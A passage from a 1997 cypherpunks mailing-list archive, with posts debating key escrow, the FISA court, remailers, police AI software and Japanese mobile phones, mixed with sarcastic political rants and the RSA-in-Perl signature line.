they can be manipulated into a narrow mind-set.
  The other tool is designed to store and analyze a wide range of data
about every aspect of an individual's life, in order to enhance the
effectiveness of the first tool.

  While I initially had worries that these two tools might possibly be
used by people with bad intentions to seize control of mankind and
enrich themselves beyound belief, I found, after closer study, that 
the two tools I have invented already exist, and have not been used
for these evil ends, to date.
  Since TV's and Computers have not been abused, so far, in an attempt
by those greedy for power and money to manipulate the people into a
position where they can be enslaved and oppressed, I feel that there
is no possibility of this happening in the future, despite the ravings
of a few wild-eyed conspiracy theorists.

  I mean, get real, eh?

The Real Guy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Wed, 17 Sep 1997 07:48:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: what is a PKS phone? (Re: Notes from the CypherpunksSeptember Bay Area Meeting)
In-Reply-To: <199709162139.WAA00815@server.test.net>
Message-ID: <v03010d07b044c4343965@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



>On Tue, 16 Sep 1997, Adam Back wrote:
>>
>> What is a PKS phone?
>>
>> Does it have end to end encryption?  Or is it just a standard GSM
>> phone in a star-trek communicator style form-factor, or something
>> else?
>
and Cynthia Brown replied:

>Could be a typo for PCS, which is similar to GSM but uses the 1.9 GHz band
>instead of 900 MHz (GSM) or 1.8 GHz (DCS). Unfortunately, I don't think
>there are dual-mode phones yet.
>

I think Cynthia is correct (I was transcribing Eric Hughes' Japanese
"trip report"). Eric was talking about a very small micro-cell phone
extremely popular with Japanese teenagers.

Martin Minow
minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Geiger <runexe@ntplx.net>
Date: Wed, 17 Sep 1997 05:00:17 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Americans flunk constitutional quiz (fwd)
In-Reply-To: <199709152318.TAA15597@users.invweb.net>
Message-ID: <Pine.LNX.3.96.970916164042.503A-100000@localhost>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 15 Sep 1997, William H. Geiger III wrote:
> This is quite understandable.
> 
> There is very little teaching of the Constitution or of Government in
> public schools. Many years ago when I was in HS Civics entailed a 1
> semester course 1/2hr a day in your senior year. While American history
> may still be taught in the public schools it is done so by socialist who
> have no interests of enlightening their students of the reasons this
> country was founded or the philosophies that it is founded on.

Personally I had one semester of American Gov't, we had to memorize the
preamble (I know longer remember all of it, but I know the general ideas),
we studied the Bill of Rights (and the 14th Amendment), and the general
ideas of the constitution. While I don't think I got all the questions
correct on the quiz (some of the specific details, etc.), I know the
general ideas.

> We are paying today for allowing the socialist/statist taking control of
> the education of our children 30 yrs ago.

-- Run.exe
  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt
"If I had only known, I would have been a locksmith."
                -- Albert Einstein
runexe@ntplx.net http://www.ntplx.net/~runexe/ PGP encrypted mail prefered





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 17 Sep 1997 06:03:39 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ is back up...
Message-ID: <199709162209.RAA00402@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Just a quick note that after a rocky start and some definitely weird ISDN
shenanigans we seem to be back up and steady.

Please don't be surprised if we have momentary lapses of reason over the
next couple of days fine tuning the system on this end.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 17 Sep 1997 06:52:51 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ Stability Test [No Reply]
Message-ID: <199709162255.RAA01329@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



SSZ Stability Test

No Reply





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 17 Sep 1997 07:20:52 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: new remailer-politics mailing list (fwd)
Message-ID: <199709162320.SAA01449@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From owner-austin-cpunks@ssz.com Sat Sep 13 20:08:32 1997
Date: Sat, 13 Sep 1997 19:55:44 -0500 (CDT)
Message-Id: <199709140055.TAA26578@matrix.eden.com>
From: combee@techwood.org (Ben Combee)
To: austin-cpunks@ssz.com
Subject: new remailer-politics mailing list
Sender: owner-austin-cpunks@ssz.com
Precedence: bulk
Reply-To: austin-cpunks@ssz.com

------- start of forwarded message (RFC 934 encapsulation) -------
Message-Id: <3.0.3.32.19970913162941.03343264@rboc.net>
X-Sender: support@rboc.net (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Precedence: bulk
Reply-To: 2600@ninja.techwood.org
From: "Robert A. Costner" <pooh@efga.org>
Sender: owner-2600@ninja.techwood.org
To: 2600@ninja.techwood.org
Subject: [SE2600] Remailer politics
Date: Sat, 13 Sep 1997 16:29:41 -0400

- -----BEGIN PGP SIGNED MESSAGE-----

A new mail list is forming, called "remailer-politics".  You are welcome 
to use your nym or any address to join the list.  You are also welcome to 
create a new nym just for the mail list.  You of course are welcome to use 
your normal email address as well.  Anonymous mail to the list is very 
welcome, but obviously you must submit a nym or email address to be able to 
read the mail.

The list is called remailer-politics, and is run on majordomo.  We'd like to 
discuss the non technical issues of remailers.  I'm hoping the contributors 
to the list will be part users of remailers, and part people who have not 
used remailers.  Also, bear in mind I'm not the remailer administrator, so 
I'm looking to be educated as well.

Hopefully we will talk about remailers, laws, encryption, email and newsgroup 

abuse, privacy and anonymity.  Personally, I'd like to be able to walk away 
from the discussion thinking that I can better defend the concept of a 
remailer to someone who is anti-encryption, anti-anonymity, a lawyer, a 
judge, or even a nationally known pro-civil liberties person.

To join, send a message body of 

	SUBSCRIBE 
to 
	REMAILER-POLITICS@SERVER1.EFGA.ORG

If you have trouble, just email me and I'll manually put you on the list.  
Similar messages have gone out to other mail lists, newsgroups, etc.  Your 
subscriptions will be mix'ed in with the rest if you use your real address, 
so no one will know.  The list of list members will not be available for 
inspection.

Please join us, and help educate myself and others about the benefits of 
remailers.

- -----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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- -----END PGP SIGNATURE-----
------- end -------
-- 
Benjamin L. Combee (combee@techwood.org) <URL:http://www.yak.net/combee/>
...if the highlight of your day is prowling through signatures looking for
pithy quotes or neat phrases, then consider a career with the IRS or NSA...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 17 Sep 1997 06:51:52 +0800
To: amp@pobox.com
Subject: Re: The great GAK crack (making GAK economically impossible)
In-Reply-To: <Chameleon.874375612.amp@ampugh.mcit.com>
Message-ID: <97Sep16.183447edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 15 Sep 1997 amp@pobox.com wrote:

>   From: nospam-seesignature@ceddec.com
> > 
> > My test software uses a loop that generates a new pair every few seconds
> > on a pentium (and found some very obscure bugs).  I would be required to
> > send all those to the gak.gov.  If they really want them...
>  
> which bugs would those be? key generation is pretty critical. i'd be 
> interested in any strange results you've found.

None specifically in PGP 5.0 or 2.6.2 itself, but I did find the
limitation of 13 bits on compression, that the MPI encoding would not
accept integers with leading zero bytes, but would with leading zero bits
(this was one obscure bug since I had to randomly generate a value much
less than the modulus), and the fact that an ElGamal key value causes
segfaults. I was implementing a library and found where my code and real
PGP didn't get along.  Some combinations aren't generated by PGP, and some
aren't accepted. 

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Wed, 17 Sep 1997 08:07:35 +0800
To: cpunks@www.video-collage.com (Cypherpunks Maintenance Account)
Subject: Re: your mail about Dr. Dobbs CD-ROM. (fwd)
Message-ID: <199709162359.TAA10021@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Unicorn -----

>From cpunks  Fri Sep 12 07:14:53 1997
Message-ID: <19970912124749.42396@sequent.com>
Date: Fri, 12 Sep 1997 12:47:49 +0200
From: Unicorn <hvdl@sequent.com>
To: coderpunks@toad.com
Subject: Re: your mail about Dr. Dobbs CD-ROM.
References: <c=US%a=_%p=EDS%l=AUADMEDS001-970911232759Z-1185@sg-energy-nt01.sg.eds.com>
X-Mailer: Mutt 0.81
In-Reply-To: <c=US%a=_%p=EDS%l=AUADMEDS001-970911232759Z-1185@sg-energy-nt01.sg.eds.com>; from Garrard, David on Fri, Sep 12, 1997 at 08:27:59AM +0800
X-Files: The Truth Is Out There!
X-Disclaimer: Comments contained do not necessarily represent thoseof my current employer.
X-Copyright: Portions of this message may be subject to copyright.(c) 1994-1997 Hans "Unicorn" Van de Looy.
Sender: owner-cypherpunks@toad.com
Precedence: bulk

--- On Sep 12, Garrard, David apparently wrote --------------------------------

> Has anyone gotten a copy of the Dr Dobb's Cryptography CDROM outside the
> US yet ?

Nope.  But where did you hear that it was available inside the US
already?

> David Garrard

--- and thus sprach: "Garrard, David" <David.Garrard@EXCH.EDS.com> ------------

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster ================================================
     ,;( )_, )~\| A Truly Wise Man Never Plays   PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;     Leapfrog With a Unicorn...        52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========

----- End of forwarded message from Unicorn -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Kent Borg, remove X for real email" <kentborg@borgX.org>
Date: Wed, 17 Sep 1997 07:28:48 +0800
To: cypherpunks@toad.com
Subject: Spooks' New Charter
Message-ID: <v03102818b044b47054a8@[199.3.131.82]>
MIME-Version: 1.0
Content-Type: text/plain



I've been thinking about the secret briefings the CIA/NSA/pick-your-TLAs
have given to folks such as the House National Security Committee, the
briefing that caused them to gut SAFE.  What did they say?  What are they
after?

Now, with the 50th anniversary of the CIA, there are some news stories such
as one I saw in the International Herald Tribune--also available at
<http://search.washingtonpost.com/wp-srv/WPlate/1997-09/14/155l-091497-idx.html>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 17 Sep 1997 07:59:06 +0800
To: cypherpunks@ssz.com
Subject: pna.show_story?p_art_id=318329&p_section_name=Sci-Tech
Message-ID: <199709170004.TAA01736@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN Custom News logo
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   Criminal Intellegence Eases Policeman's Lot
   
   Reuters
   16-SEP-97
   
   
   CAMBRIDGE, England, Sept 16 (Reuter) - Privately held Harlequin Group
   Ltd said it introduced a software product which harnesses artificial
   intelligence to speed up criminal investigations.
   
   The product, Harlequin Intelligence, displays criminal investigation
   data in graphical form. Artificial intelligence is used to break down
   witness statements into their component form and instantly links
   evidence to existing databases.
   
   The graphic displays allow a quick snapshot of the progress of an
   investigation.
   
   In a statement released at the Cambridge International Symposium on
   Economic Crime, Harlequin said the system discovers links or
   identifies associations that may not be immediately apparent to an
   investigator or analyst.
   
   ``Harlequin Intelligence is designed for use by major law enforcement
   and investigation agencies to combat many different types of crime
   including homicide, fraud and drug related offences. It is also
   designed for use in commercial business information environments where
   these powerful technologies can be equally applied to corporate
   business concerns,'' the Cambridge based company said in a statement.
   
   A spokesman declined to reveal the cost of the system or the company's
   sales targets but said the system had already been sold to the Los
   Angeles Police Department, a force in Florida, the U.S. Federal Bureau
   of Investigation, and four police forces in Britain.
   
   
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cynthia Brown <cynthb@sonetis.com>
Date: Wed, 17 Sep 1997 07:22:48 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: what is a PKS phone? (Re: Notes from the Cypherpunks September Bay Area Meeting)
In-Reply-To: <199709162139.WAA00815@server.test.net>
Message-ID: <Pine.BSD/.3.91.970916190021.29172B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 16 Sep 1997, Adam Back wrote:

> Martin Minow <minow@apple.com> writes:
> > EH: New Japanese phenonemon: tiny PKS cell phones. Teen-agers (who
> > are driving lifestyle changes) all use them.
> 
> What is a PKS phone?
> 
> Does it have end to end encryption?  Or is it just a standard GSM
> phone in a star-trek communicator style form-factor, or something
> else?

Could be a typo for PCS, which is similar to GSM but uses the 1.9 GHz band
instead of 900 MHz (GSM) or 1.8 GHz (DCS). Unfortunately, I don't think
there are dual-mode phones yet.

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 17 Sep 1997 10:36:57 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Criminal Intelegence Eases Policeman's Lot
In-Reply-To: <199709170004.TAA01736@einstein.ssz.com>
Message-ID: <Pine.LNX.3.95.970916190239.21248A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 16 Sep 1997, Jim Choate wrote:

>    Criminal Intellegence Eases Policeman's Lot
>    
>    Reuters
>    16-SEP-97
>    
>    
>    CAMBRIDGE, England, Sept 16 (Reuter) - Privately held Harlequin Group
>    Ltd said it introduced a software product which harnesses artificial
>    intelligence to speed up criminal investigations.

"Repent Harlequin, said the Tick-Tock man."
>    
>    The product, Harlequin Intelligence, displays criminal investigation
>    data in graphical form. Artificial intelligence is used to break down
>    witness statements into their component form and instantly links
>    evidence to existing databases.

I expect tools like this to become more and more prevelent.  Especially
amongst items listed in RISKS.  

It is my imagination or are police getting more and more lazy?  There
seems to be a desire to find the one magic bullet that will end crime as
we know it, be it AI profilers, back doored encryption, a spy camera in
every bedroom, or whatever.

It is just as bad as management that tries to find the "one true
management fad" while spending the company into the poorhouse.  (In many
ways, that is exactly the same process here.  People in charge looking for
an easy way out...)

>    The graphic displays allow a quick snapshot of the progress of an
>    investigation.

I wonder what happens when the case does not fit the template provided...?

>    In a statement released at the Cambridge International Symposium on
>    Economic Crime, Harlequin said the system discovers links or
>    identifies associations that may not be immediately apparent to an
>    investigator or analyst.

Anything you say can and will be used against you in a crossreferenced
database.

Of course, the investigation will only be as good as the data thrown into
it.  And if you misspoke or said something that was not 100% accurate,
that will be used against you later, when they need to wrap up the case.

>    ``Harlequin Intelligence is designed for use by major law enforcement
>    and investigation agencies to combat many different types of crime
>    including homicide, fraud and drug related offences. It is also
>    designed for use in commercial business information environments where
>    these powerful technologies can be equally applied to corporate
>    business concerns,'' the Cambridge based company said in a statement.

Orwell in the police force, Orwell in the workplace, Orwell in the living
room...

This reads like CNN bought the company's press release whole.  This is not
reporting, this is sales!

>    A spokesman declined to reveal the cost of the system or the company's
>    sales targets but said the system had already been sold to the Los
>    Angeles Police Department, a force in Florida, the U.S. Federal Bureau
>    of Investigation, and four police forces in Britain.

Be afraid. Be very afraid.

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 17 Sep 1997 10:40:38 +0800
To: Martin Minow <cypherpunks@cyberpass.net
Subject: Re: what is a PKS phone? (Re: Notes from the Cypherpunks September Bay Area Meeting)
In-Reply-To: <Pine.BSD/.3.91.970916190021.29172B-100000@mrburns.iosphere.net>
Message-ID: <v03102804b044f068d938@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>>Could be a typo for PCS, which is similar to GSM but uses the 1.9 GHz band
>>instead of 900 MHz (GSM) or 1.8 GHz (DCS). Unfortunately, I don't think
>>there are dual-mode phones yet.
>>
>
>I think Cynthia is correct (I was transcribing Eric Hughes' Japanese
>"trip report"). Eric was talking about a very small micro-cell phone
>extremely popular with Japanese teenagers.

I think its more likely a typo for PHS, or Personal Hand-Phone System, a
Japanese micro-cellular system.

--begin
Churn Hits Japanese PHS Providers, Too

Astel/DDI/NTT Personal

09/12/97 The US isn't the only region facing problems relating to churn. In
Japan, the PHS providers have been swamped with an avalanche of
cancellations according to a South China Morning Post report. Sources at
three PHS companies, Astel, DDI and NTT Personal, say the cancellations are
a reaction to excessive promotion last year when the US$300 telephones were
handed out for as little as a yen each. "People who should never have
subscribed to a portable phone service were enrolled and now they are
canceling," DDI's Junichi Takahashi said. In addition, August is typically
a month for student cancellations, a large segment of the PHS subscriber
base, though one analyst said the quality of the service was poor.

The report indicates that hundreds of thousands of cancellations almost
cancelled out new orders last month, resulting in the lowest net monthly
increase to date of 62,000 units.

Analysts were not entirely convinced by the explanations offered. Deutsche
Morgan Grenfell analyst Naoki Sato said, "The PHS phones are of lousy
quality; you often get busy signals or else no signal at all and you cannot
use them in cars or trains, so people have begun switching to cellular
phones."

He said although some analysts expected the PHS system to perish within two
years, he thought it would survive as a tool for mobile computing.
--end

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Real Guy <guy_real@dev.null>
Date: Wed, 17 Sep 1997 10:13:19 +0800
To: kentborg@borg.org
Subject: Re: Spooks' New Charter
In-Reply-To: <v03102818b044b47054a8@[199.3.131.82]>
Message-ID: <341F35A3.62BE@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Kent Borg, remove X for real email wrote:
> 
> I've been thinking about the secret briefings the CIA/NSA/pick-your-TLAs
> have given to folks such as the House National Security Committee, the
> briefing that caused them to gut SAFE.  What did they say?  What are they
> after?
> <http://search.washingtonpost.com/wp-srv/WPlate/1997-09/14/155l-091497-idx.html>

      CIA-run agents who had infiltrated terrorist groups in recent
      years aided in intelligence gathering that helped prevent two
      attacks in the past seven months against U.S. embassies
      abroad, new CIA Director George J. Tenet told Congress
      earlier this year.
      Tenet declined to provide details of the operations, including
      where they occurred.

  I myself prevented at least two dozen attacks in the same period of
time, through use of strong crypto. Naturally, I decline to provide
details of the operations.
(Also, Jim Bell prevented four attacks on U.S. embassies through
 use of his AP Bot.)

      Reflecting new threats that face U.S. policymakers, major covert 
      actions are now being aimed at disrupting terrorist plans,
      stopping narcotics shipments or fouling up financial transactions
      of missile makers, sources said.

  Which helps to keep the CIA's competition in these areas down to a
minimum. (The definition of 'terrorist' in the 1997 CIA Lexicon is,
"Illegal activities business competitor.")

      For instance, computer hacker technology has been used to
      disrupt international money transfers and other financial
      activities of Arab businessmen who support suspected
      terrorists.

  And 'God only knows' (TM) what they do to dark-skinned businessmen
who support 'proven' terrorists.
  Does anybody remember what that reason they gave for promoting weak
encryption was? Didn't they say they wanted to control all of the 
money to keep the rich 'good' guys happy? Or was it the 4 Horsemen?

      Military research and development operations of
      hostile governments, such as North Korea, Iraq and Iran, have
      been sabotaged by having European, Asian and other suppliers
      sell them faulty parts that will eventually fail.

  Such as faulty parts for the U.S. Stealth Bomber that crashed at
an air show this week and the Iraquin hostage rescue helicopters.
  Hey! Wait a minute...!?!?

      "In the past five to seven years, the sophistication of the new
      tools of covert action have helped bring about a sea change in
      operations from the old days," according to a senior intelligence
      official. 

  "However, in spite of these earth-shaking advances in spying on and 
manipulating foreigners with all manner of nasty business, absolutely
no progress at all has been made in doing the same to U.S. citizens."
he quickly added, looking down at his shoes and blushing.

      "There are a large number of hidden activities going on
      to meet transnational threats," he said, "but I'm reluctant 
      to call them covert action." 

  OK, then call them murders, assassinations, crimes on foreign soil,
destabilization of dark-skinned governments, etc., etc.

      Tenet told reporters recently he was turning to "a world
      renown operator" who can "run quality operations that generate
      unique information" on which action can be taken.

  But not 'covert' action--just "hidden" action. (I'm certain that 
everyone on the C'punks list understands the difference.)

      In addition, new CIA and Justice Department investigations
      into past agency operations in Central America are expected to
      be released shortly, guaranteeing more criticism for the
      agency's cooperation with drug dealers who were also aiding
      Nicaraguan contra operations and for training Honduran
      special forces that later committed human rights violations.

  So, of course, we can expect to see a lot of former CIA agents being
put in jail, like other citizens who do even the smallest amount of
drugs.
  Say, wasn't President George Bush...never mind.

      And later this year, the CIA and Justice Department's
      inspectors general are to deliver their reports on allegations the
      agency operatives supporting the Nicaraguan contra rebels at
      the same time aiding Central American drug dealers who
      brought narcotics into the United States.

  Of course, Colonel Oliver North will be going to jail, along with
ex-President Reagan, for stealing an election by using drug money to
buy weapons for 'terrorists' in exchange for holding American citizens
prisoner until his inauguration day.

  Get real...
remove clothes for The Real Guy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 17 Sep 1997 02:23:57 +0800
To: cypherpunks@toad.com
Subject: Re: (Fwd) Cuban terrorist used encrypted phone (fwd)
Message-ID: <199709161759.TAA21804@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 3:36 AM -0700 9/16/97, Charles Anthony wrote:
> >From: Scott Carr <scarr@bgnet.bgsu.edu>

> >   I just heard this on CNN.  Apparently, the Cuban government has arrested
> >an alleged terrorist  for several hotel bombings.  They clain he was hired
> >by Anti-Castro forces in the US.  Now, for the relavant part for the list;
 
> Ah, but he is not a "terrorist," then. Being hired by anti-Castro forces in
> the United States automatically makes him a "freedom fighter." He's only a
> terrorist if he works for Oceania, er, Eastasia, er, whomever we don't
> currently like.
> 
> Had he blown up a Cuban airliner, as CIA-supported forces did a while back,
> he would still be a freedom fighter. Had he sent a package of pamphlets to
> Hamas to aid in their struggle against the Zionist occupiers, he would be a
> terrorist.

 Had he said, "Nuke Havana.", he would be a freedom fighter.
 Had he said, "Nuke D.C.", he would be a Freeh->Dumb Fighter.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 17 Sep 1997 03:19:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Sen. DiFi in the Merc 9/15 - Same old Same old
Message-ID: <199709161905.VAA28825@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Bill Stewart wrote, quoting DiFi:
>"Encryption is already being used by criminals, terrorists, and drug
>cartels.  THe terrorists who bombed the World Trade Center had plans
>to blow up 11 American commercial airliners.  Encrypted files
>detailing these plots were found on one of the terrorists' computers.
>Imagine the tragedies that might not be prevented if Law Enforcement
>officials are unable to decode encrypted files when necessary."

Imagine how many tragedies could have been prevented if we had a
telescreen in every home and office.  Not just bombings, but murders,
spousal abuse, child abuse, drug use, uninformed political
decisions...

People have been making bombs and blowing things up for about 100
years.  Until now this has been a manageable problem without mass
surveillance.  What happened?  Did the price of fertilizer drop?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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g8s4h53IKIc7exZliQthl31CGmYvz1jcm6Ql+SAm4bQZn1k7g7yHEtK8SI8seLUh
bZ8U8UYm8MhiJ1IfNzYFgg3lodl4YSo7b9g6Cz+gRBf7NXVhHF/dF1+udkkgs+R8
NrwmKuQQi/3bXlNnqT92u2iZac+RygcEtXzmYegtJwG6glhO7uOeW7uFZ9UMWKd7
w4loyQss3uPj8oz3fs4iMNPjrH3pnRE76xbxxhGYwMS2N6g0eeFW5m0vHzrpS5vR
0PbDTcLYp8sfIMhHbQfOrz2gnWO5Md038ZxNPwr3zNPVXpogMXGhcQ==
=a8IR
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 17 Sep 1997 09:51:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Court proceedings under new SAFE act
Message-ID: <1.5.4.32.19970917013255.008617a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green asked about judges of the FISA court, and
Declan named Joyce Green.

The Chief Judge of FISA is Royce Lambert, who gave talk 
on C-SPAN about the operation of the court at an ABA 
conference in D.C. a few months ago.

He made the point that few applications for electronic
surveillance are turned down by the court (of 8,000 
applications 12 were denied) because the judges coach the 
applicants until they get a request right. And that the DoJ 
teams are quite adept at complying with the court's 
requirements, because all pass muster first of a special 
office set up for that purpose.

Judge Lambert said the job is "a lot of fun" because
its deals with supremely critical events of national
urgency, and that all the judges involved really do like it, 
especially the secrecy and prestige of being part of one 
of the most exclusive groups in Washington. This is not 
a joke.

Indeed, the Chief joked that the court's role "may be 
constitutional." And then said that he'll probably get in 
trouble for the statement.

For how the snoop system is supposed to work see the 
Foreign Intelligence Suveillance Act:

   http://jya.com/fis.htm  (107K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Real Guy <real_guy@dev.null>
Date: Wed, 17 Sep 1997 12:28:24 +0800
To: cypherpunks@toad.com
Subject: Fuck them all. Lock and load. Rock and roll. / Re: Liberals and their tacit
Message-ID: <341F56E0.1CFE@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote: 
> >> It's war. Too late for a public relations campaign so that some future
> >> Congress will slightly relax their laws.
> >> And in a war, gotta break some eggs.

> Perhaps if it were J. Edgar Hoover doing this instead of Democrat Louis
> Freeh, we wouldn't see "nominal" liberal Ron Dellums, amongst so many
> others, standing shoulder to shoulder with the fascists. (Not that I ever
> though Dellums was anything other than a fascist, mind you.)
 
> Perhaps if it were former CIA director George Bush pushing this (in his
> alternate universe second term) there would be more outrage from liberals.

> I'm beginning to think Federal Bureau of Inquisition Director Unfreeh must,
> as rumors have long had it, have the goods on Janet Reno and Bill Clinton.
> Left to our imagination what these items may be.

  I know for a fact that the Spooks had nothing to do with Richard
Nixon recording every dirty deal that took place in the White House.
I know for a fact that they certainly wouldn't use all that criminal
information for blackmail.
  I know for a fact that they wouldn't spy on politicians and major
financial figures, or take advantage of nefariously gained information
in order to increase their money and power.

  People who smoke dope, dodge the draft, commit adultery, and perform
financial fraud while govenor get to be elected President all the time,
and nobody ever tries to 'control' them, or manipulate them in any way.

I know all of this because I'm
The Real Guy,
"I used to be The Bad Lie until I got caught cheating at golf
 and was nominated for the Presidency."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 17 Sep 1997 06:33:02 +0800
To: minow@apple.com
Subject: what is a PKS phone? (Re: Notes from the Cypherpunks September Bay Area Meeting)
In-Reply-To: <v03102800b041d75dec10@[17.219.103.238]>
Message-ID: <199709162139.WAA00815@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Martin Minow <minow@apple.com> writes:
> EH: New Japanese phenonemon: tiny PKS cell phones. Teen-agers (who
> are driving lifestyle changes) all use them.

What is a PKS phone?

Does it have end to end encryption?  Or is it just a standard GSM
phone in a star-trek communicator style form-factor, or something
else?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 17 Sep 1997 14:59:15 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Brit conference asks for more cyberspace violations
Message-ID: <772ef0aac71b65fcbf6218e499734f8c@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



>Crimebusters must devise more ingenious ways of combating fraud and
>will need new international policing powers to stem a rising tide of
>high-tech economic crime, experts say. Delegates at an economic crime
>conference in Cambridge, England, this week complained they lacked
>the tools and power to take the fight to the organized criminals
>whose only barrier was the speed of their modems.

Perhaps encryption could be used as a means of fraud prevention.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 17 Sep 1997 10:41:27 +0800
To: cypherpunks@toad.com
Subject: Re: Court proceedings under new SAFE act
Message-ID: <199709170217.EAA17187@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> On Thu, 11 Sep 1997, Lucky Green wrote:
 > > >secret court that has never denied a request for a wiretap)
jurisdiction;
> > Is there any way of finding out the names of the judges sitting on the FISA
> > court?
 
> Not that I know of, though I do know that U.S. District Court Judge Joyce
> Green served on the FISA court for seven years.
> 
> Background: The 1978 Foreign Intelligence Survelliance Act established a
> special, secret court of current Federal district court judges. They
> approve warrants in secret hearings, with no opposing attorneys present.
> The judges are required to be available 24 hours a day for emergency
> hearings. Some happen in the middle of the night in the judge's home.

